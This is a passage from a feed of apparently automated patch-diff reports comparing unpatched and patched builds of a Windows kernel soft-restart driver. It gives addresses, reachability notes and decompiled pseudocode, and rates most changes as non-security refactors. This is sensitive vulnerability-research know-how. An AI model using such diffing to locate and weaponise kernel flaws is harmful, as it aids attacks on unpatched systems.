had no copy here).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;KsrPdPersistMemoryRegion&lt;/code&gt; (patched &lt;code&gt;0x140010040&lt;/code&gt;):&lt;/strong&gt; Behavioral, persist/serialize side. Adds &lt;code&gt;KeBugCheckEx(0x70, 1, ...)&lt;/code&gt; (region within the located partition range) and &lt;code&gt;KeBugCheckEx(0x70, 3, ...)&lt;/code&gt; (page-alignment) consistency checks in restructured code. Defense-in-depth on data the kernel itself serializes; not a demonstrable attacker-facing fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;KsrpPdDestroyDatabase&lt;/code&gt; (&lt;code&gt;0x1C000C8B0&lt;/code&gt; / &lt;code&gt;0x1400114F0&lt;/code&gt;):&lt;/strong&gt; Not a security fix. &lt;code&gt;KsrPdFreeWorkArea&lt;/code&gt; is inlined; the added &lt;code&gt;*handle = 0&lt;/code&gt; store targets memory freed on the next line (dead). Behavioral &lt;code&gt;ZwSetSystemInformation&lt;/code&gt; cleanup added on the free path (Finding 3).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;KsrpHotAddPartitionMemory&lt;/code&gt; (&lt;code&gt;0x1C000AFC0&lt;/code&gt; / &lt;code&gt;0x14000DE34&lt;/code&gt;):&lt;/strong&gt; Not a security fix. 64-bit allocation math in both builds; double query-then-fill and &lt;code&gt;ZwManagePartition&lt;/code&gt; present in both; adds two output parameters, prefix rename, and removes a no-op count check (Finding 4).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;KsrpPdAddAllocatedRangesCallback&lt;/code&gt; (&lt;code&gt;0x1C000E1FC&lt;/code&gt; / &lt;code&gt;0x140010B74&lt;/code&gt;):&lt;/strong&gt; Not a security fix. The two adjacent 64-bit counter updates are combined into one &lt;code&gt;_mm_add_epi64&lt;/code&gt; store (compiler auto-vectorization). The counters live in a stack-local accumulator passed by &lt;code&gt;KsrPdAddAllocatedRanges&lt;/code&gt;, not shared state, and &lt;code&gt;_mm_add_epi64&lt;/code&gt; is not an atomic operation, so there is no race being fixed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;KsrMmAllocatePagesForMdlEx&lt;/code&gt;:&lt;/strong&gt; Behavioral. Masks the flags argument with &lt;code&gt;0x7fffffff&lt;/code&gt; before use; register-allocation differences.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;KsrRegisterLoaderCallbacks&lt;/code&gt;:&lt;/strong&gt; Behavioral, not a vulnerability fix. Structure-size validation grows to accommodate a new field, and a feature-gated secure-loader path is added while the existing path is retained. Staged feature rollout, not a memory-safety fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;KsrPersistMemoryPartition&lt;/code&gt;:&lt;/strong&gt; Behavioral. Adds &lt;code&gt;ObReferenceObjectByHandle&lt;/code&gt; before querying partition data and restructures the locked traversal.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;KsrPdFreeMemoryRegions&lt;/code&gt; (&lt;code&gt;0x1C000CC00&lt;/code&gt; / &lt;code&gt;0x14000F75C&lt;/code&gt;):&lt;/strong&gt; Behavioral. Matching logic and conditional processing restructured; equivalent offsets.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;KsrpPdInitializeDatabase&lt;/code&gt; (&lt;code&gt;0x1C0009E68&lt;/code&gt; / &lt;code&gt;0x14000D058&lt;/code&gt;):&lt;/strong&gt; Cosmetic. Min/max physical-address calculation and register renaming; logically equivalent.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;KsrPdRetrieveMemoryRegion&lt;/code&gt; (&lt;code&gt;0x1C000CF38&lt;/code&gt; / &lt;code&gt;0x1400107B4&lt;/code&gt;):&lt;/strong&gt; Cosmetic. Register renaming; the cleanup path changes from an inline &lt;code&gt;memset&lt;/code&gt; to a helper call.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Added/Removed:&lt;/strong&gt; None reported by the diff. The changes are in-place modifications, plus a driver-wide rename of the page-database helpers from the &lt;code&gt;KsrPd*&lt;/code&gt; prefix to the &lt;code&gt;KsrDb*&lt;/code&gt; prefix and the addition of secure-kernel feature branches.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence Level:&lt;/strong&gt; High for the direction of each change (the patched build is the stricter one for Findings 1 and 2; Findings 3 and 4 are refactors).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Findings 1 and 2&lt;/strong&gt; are genuine security-relevant changes but with low demonstrable impact: Finding 1's overflow threshold is not reachable on realistic hardware, and Finding 2 converts an error-recovery path over driver-owned state into a bugcheck. Both depend on kernel soft-reboot persisted-memory metadata, which is not an ordinary user-writable surface.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Findings 3, 4, and the SIMD counter change&lt;/strong&gt; are downgraded to non-security refactors on the evidence above.&lt;/li&gt;
&lt;li&gt;The severities here reflect demonstrable, reachable impact in these two builds rather than speculative exploitation.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>ksrext.sys — rebuild/refactor: secure-call page-chain format addition, unlock-path consolidation, boot-restore database-lock hardening</title><link href="https://byteray-ai.github.io/drift-corpus/item/ksrext_e679f8dc-ksrext-report-20260629-005838.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/ksrext_e679f8dc-ksrext-report-20260629-005838.html</id><summary type="html">&lt;p&gt;KB5078752&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;ksrext_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;ksrext_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; &lt;code&gt;0.3722&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; heavy rebuild — the two builds do not share a common function layout; functions are renamed, relocated, and split, and pool allocations were migrated from &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; to &lt;code&gt;ExAllocatePool2&lt;/code&gt; broadly. Both builds carry real symbol names.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; This is predominantly a rebuild/refactor of the Kernel Soft Restart Extension. No attacker-reachable vulnerability is fixed. The three items originally flagged below were re-examined against both builds and reduced to their verifiable content: a secure-call MDL persistence routine gained a page-linkage field and an extra output parameter (a format/feature change, not a fix), a secure-loader connect routine had its MDL-unlock path consolidated into a single helper (a refactor, no leak), and the free-unused-partition-memory path was redesigned into a per-NUMA-node parallel worker model that now brackets its shared-tree traversal with the partition-database push-lock (boot-restore-only synchronization coupled to the new parallel design). The metadata bounds validation in the restore path is byte-equivalent in both builds.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: Page-chain field added to secure-call MDL persistence loop — format/feature change, not a fix&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Informational (No security-relevant change)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; None demonstrable (defensive initialization of a newly-introduced page-linkage field)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;KsrpNkAllocatePagesForMdl&lt;/code&gt; (unpatched &lt;code&gt;0x1C000BB20&lt;/code&gt;, patched &lt;code&gt;0x140013888&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachability:&lt;/strong&gt; Reached only from the Secure Kernel → Normal Kernel secure-call dispatcher &lt;code&gt;KsrpNkHandleSecureCall&lt;/code&gt; (unpatched &lt;code&gt;0x1C000C720&lt;/code&gt;). Command index 0 (&lt;code&gt;0x1C000C7DE&lt;/code&gt;) calls &lt;code&gt;KsrpNkAllocatePagesForMdl&lt;/code&gt; at &lt;code&gt;0x1C000C7FD&lt;/code&gt;. This is the normal-kernel side of a secure call; the caller boundary is the Secure Kernel, not an unprivileged user.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What actually changed:&lt;/strong&gt; The unpatched routine allocates pages for an MDL, copies up to &lt;code&gt;0x58&lt;/code&gt; bytes of the MDL header into the caller's output buffer, and if the MDL page array is larger, copies the remaining page-array bytes into the allocated pages through a reserved mapping (loop at &lt;code&gt;0x1C000BBFD&lt;/code&gt;–&lt;code&gt;0x1C000BC67&lt;/code&gt;). The unpatched loop never writes the first quadword of each mapped page. The patched routine adds a back-linked chain: it writes the previous page's entry into each mapped page's first quadword (&lt;code&gt;mov [rdi], r13&lt;/code&gt; at &lt;code&gt;0x1400139A5&lt;/code&gt;), starts the chain with a &lt;code&gt;-1&lt;/code&gt; sentinel (&lt;code&gt;or rax, 0xFFFFFFFFFFFFFFFF&lt;/code&gt; at &lt;code&gt;0x140013950&lt;/code&gt;, &lt;code&gt;or r13, rax&lt;/code&gt; at &lt;code&gt;0x140013970&lt;/code&gt;), and stores the chain head into a NEW output parameter (&lt;code&gt;mov [r13], rax&lt;/code&gt; at &lt;code&gt;0x140013A02&lt;/code&gt;). The patched signature also grew from 6 to 8 parameters (added a partition handle and the chain-head output) and calls &lt;code&gt;KsrMmAllocatePartitionNumaPagesForMdlEx&lt;/code&gt; instead of &lt;code&gt;KsrMmAllocatePagesForMdlEx&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Why this is not a security fix:&lt;/strong&gt; The unpatched format has no page chain at all — the missing write is not an omitted safety store but a field that did not exist in the old layout. No code in either build dereferences a persisted page's first quadword as a next-pointer. The consumer, &lt;code&gt;KsrpNkFreePersistedPages&lt;/code&gt; (unpatched &lt;code&gt;0x1C000BE1C&lt;/code&gt;, patched &lt;code&gt;0x140013FBC&lt;/code&gt;), is logically identical in both builds and reads a fixed inline array of up to 11 entries from the request structure; it does not walk the chain the patched allocator writes. The added &lt;code&gt;mov [rdi], r13&lt;/code&gt; therefore initializes memory that no in-binary path reads. Direction is not reversed (the patched build initializes more, not less), but there is no demonstrable reachable impact.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2: Secure-loader MDL unlock path consolidated into one helper — refactor, no leak&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Informational (No security-relevant change)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; None (resource-cleanup refactor)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;KsrConnectSecureLoader&lt;/code&gt; (unpatched &lt;code&gt;0x1C000CC90&lt;/code&gt;, patched &lt;code&gt;0x140013180&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What actually changed:&lt;/strong&gt; The unpatched function locks the transfer pages via &lt;code&gt;KsrpNkLockPagesForTransfer&lt;/code&gt; (&lt;code&gt;0x1C000CD44&lt;/code&gt;), performs the connect indirect call, then unlocks based on the page count computed from the returned descriptor: &lt;code&gt;MmUnlockPages&lt;/code&gt; when the count is 1 (&lt;code&gt;0x1C000CDB7&lt;/code&gt;) or &lt;code&gt;KsrpNkUnlockPagesForLargeTransfer&lt;/code&gt; when it is greater than 1 (&lt;code&gt;0x1C000CDCA&lt;/code&gt;). The patched function replaces this with a single unconditional call to &lt;code&gt;KsrpNkUnlockPagesForTransfer&lt;/code&gt; (&lt;code&gt;0x140013286&lt;/code&gt;), migrates the context allocation to &lt;code&gt;ExAllocatePool2&lt;/code&gt; (&lt;code&gt;0x1400131E6&lt;/code&gt;), and zero-initializes the descriptor up front (&lt;code&gt;memset&lt;/code&gt; at &lt;code&gt;0x1400131BC&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Why the reported leak is not real:&lt;/strong&gt; In the unpatched build both unlock branches converge at &lt;code&gt;0x1C000CDCF&lt;/code&gt; and execute BEFORE the connection-result test (&lt;code&gt;test edi, edi&lt;/code&gt; at &lt;code&gt;0x1C000CDCF&lt;/code&gt;, failure branch to &lt;code&gt;0x1C000CDED&lt;/code&gt;). The result test only decides whether the context structure is stored on success or freed on failure (&lt;code&gt;ExFreePoolWithTag&lt;/code&gt; at &lt;code&gt;0x1C000CDFA&lt;/code&gt;); it does not gate the unlock. The single count-&lt;code&gt;0&lt;/code&gt; skip path (&lt;code&gt;0x1C000CDA8&lt;/code&gt;) corresponds to the case where &lt;code&gt;KsrpNkLockPagesForTransfer&lt;/code&gt; also locked nothing (it returns early for a zero page count). There is therefore no unlock-on-failure leak in the unpatched build. The patched change is a consolidation of the two matched unlock branches into one helper plus API modernization.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 3: Free-unused-partition-memory redesigned with per-NUMA-node workers and database-lock bracketing — boot-restore hardening, mechanism as originally described was incorrect&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low (defense-in-depth synchronization, boot-restore reachable only; not attacker-controlled)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Missing synchronization on a shared tree traversal (CWE-362), boot-restore path&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; unpatched &lt;code&gt;KsrPdFreeUnusedPartitionPages&lt;/code&gt; (&lt;code&gt;0x1C000B500&lt;/code&gt;); patched equivalent split into &lt;code&gt;KsrpFreeUnusedPartitionMemory&lt;/code&gt; (&lt;code&gt;0x14000D8C4&lt;/code&gt;), &lt;code&gt;KsrpFreeUnusedPartitionMemoryRoutine&lt;/code&gt; (&lt;code&gt;0x14000DBFC&lt;/code&gt;), and &lt;code&gt;KsrpFreeUnusedPartitionMemoryWorker&lt;/code&gt; (&lt;code&gt;0x14000DE10&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What actually changed:&lt;/strong&gt; The unpatched &lt;code&gt;KsrPdFreeUnusedPartitionPages&lt;/code&gt; loads &lt;code&gt;KsrpPdDatabase&lt;/code&gt; (&lt;code&gt;0x1C000B573&lt;/code&gt;, &lt;code&gt;0x1C000B5E0&lt;/code&gt;), walks the red-black tree rooted at &lt;code&gt;KsrpPdDatabase+0x40&lt;/code&gt; (&lt;code&gt;0x1C000B5E7&lt;/code&gt; onward, traversal &lt;code&gt;0x1C000B5EB&lt;/code&gt;–&lt;code&gt;0x1C000B76B&lt;/code&gt;), and frees pages within each range via &lt;code&gt;KsrPdFreePagesInRange&lt;/code&gt; (&lt;code&gt;0x1C000B6A7&lt;/code&gt;). It acquires no lock anywhere in the function, and its only caller, &lt;code&gt;KsrpRestoreMemoryPartition&lt;/code&gt; (call at &lt;code&gt;0x1C0009631&lt;/code&gt;), also holds no &lt;code&gt;KsrpPdDatabaseLock&lt;/code&gt; on that path. The same database tree is protected by &lt;code&gt;KsrpPdDatabaseLock&lt;/code&gt; (&lt;code&gt;ExAcquirePushLock*&lt;/code&gt;) in other functions of the module, so this traversal is unsynchronized relative to those mutators. The patched build redesigns this into a NUMA-node-aware model that spawns worker threads (&lt;code&gt;PsCreateSystemThreadEx&lt;/code&gt; at &lt;code&gt;0x14000DB4B&lt;/code&gt;) and now brackets the equivalent work with &lt;code&gt;KsrpPdDatabaseLock&lt;/code&gt;: shared while looking up the database object (acquire &lt;code&gt;0x14000DC7D&lt;/code&gt;, release &lt;code&gt;0x14000DC9E&lt;/code&gt;) and exclusive around the per-range cursor walk (&lt;code&gt;KsrpPdMovePartitionMemoryRangeCursor&lt;/code&gt; at &lt;code&gt;0x14000DCC2&lt;/code&gt;, acquire &lt;code&gt;0x14000DCB2&lt;/code&gt;, release &lt;code&gt;0x14000DCFF&lt;/code&gt;), snapshotting each range under the lock before freeing it via &lt;code&gt;KsrpPdFreePartitionRange&lt;/code&gt; (&lt;code&gt;0x14000DD2C&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mechanism detail:&lt;/strong&gt; The unpatched traversal is a read-only red-black in-order walk: the &lt;code&gt;and rbx, 0xFFFFFFFFFFFFFFFC&lt;/code&gt; operations mask the parent-pointer colour bits to find in-order successors, no tree node is removed, and the function's &lt;code&gt;ExFreePoolWithTag&lt;/code&gt; calls free temporary scratch buffers and a local range list rather than tree nodes. It frees pages within each range via &lt;code&gt;KsrPdFreePagesInRange&lt;/code&gt;. The synchronization added in the patched build is &lt;code&gt;KsrpPdDatabaseLock&lt;/code&gt; acquired via &lt;code&gt;ExAcquirePushLockSharedEx&lt;/code&gt;/&lt;code&gt;ExAcquirePushLockExclusiveEx&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scope of the change:&lt;/strong&gt; The traversal runs during soft-restart partition restoration (boot phase), on data owned by the OS, with no attacker-controlled input. The concurrency the lock guards against is largely introduced by the patched build's own parallel worker design; a concurrent mutation window in the unpatched single-threaded restore path is not demonstrable from these binaries. This is best characterized as defensive synchronization coupled to a redesign, not a fix to a demonstrated, attacker-reachable race.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;KsrpNkAllocatePagesForMdl&lt;/code&gt; (secure-call MDL persistence loop)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED KsrpNkAllocatePagesForMdl @ 0x1C000BB20&lt;/span&gt;
&lt;span class="c1"&gt;// v8 = allocated MDL; v9 = total header+page-array size; a6 = output buffer&lt;/span&gt;
&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x58&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// copy MDL header + first entries&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;// more page-array bytes remain&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;InterlockedExchange64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// borrow reserved mapping&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Next&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v11&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Next&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;MmMapLockedPagesWithReservedMapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;KsrS&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mdl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MmCached&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// no write to *v12 here&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;chunk&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;MmUnmapReservedMapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;KsrS&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mdl&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;chunk&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;InterlockedExchange64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED KsrpNkAllocatePagesForMdl @ 0x140013888  (signature grew: adds Handle, a8)&lt;/span&gt;
&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x58&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;InterlockedExchange64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                 &lt;/span&gt;&lt;span class="c1"&gt;// chain sentinel&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v21&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="c1"&gt;// current page entry&lt;/span&gt;
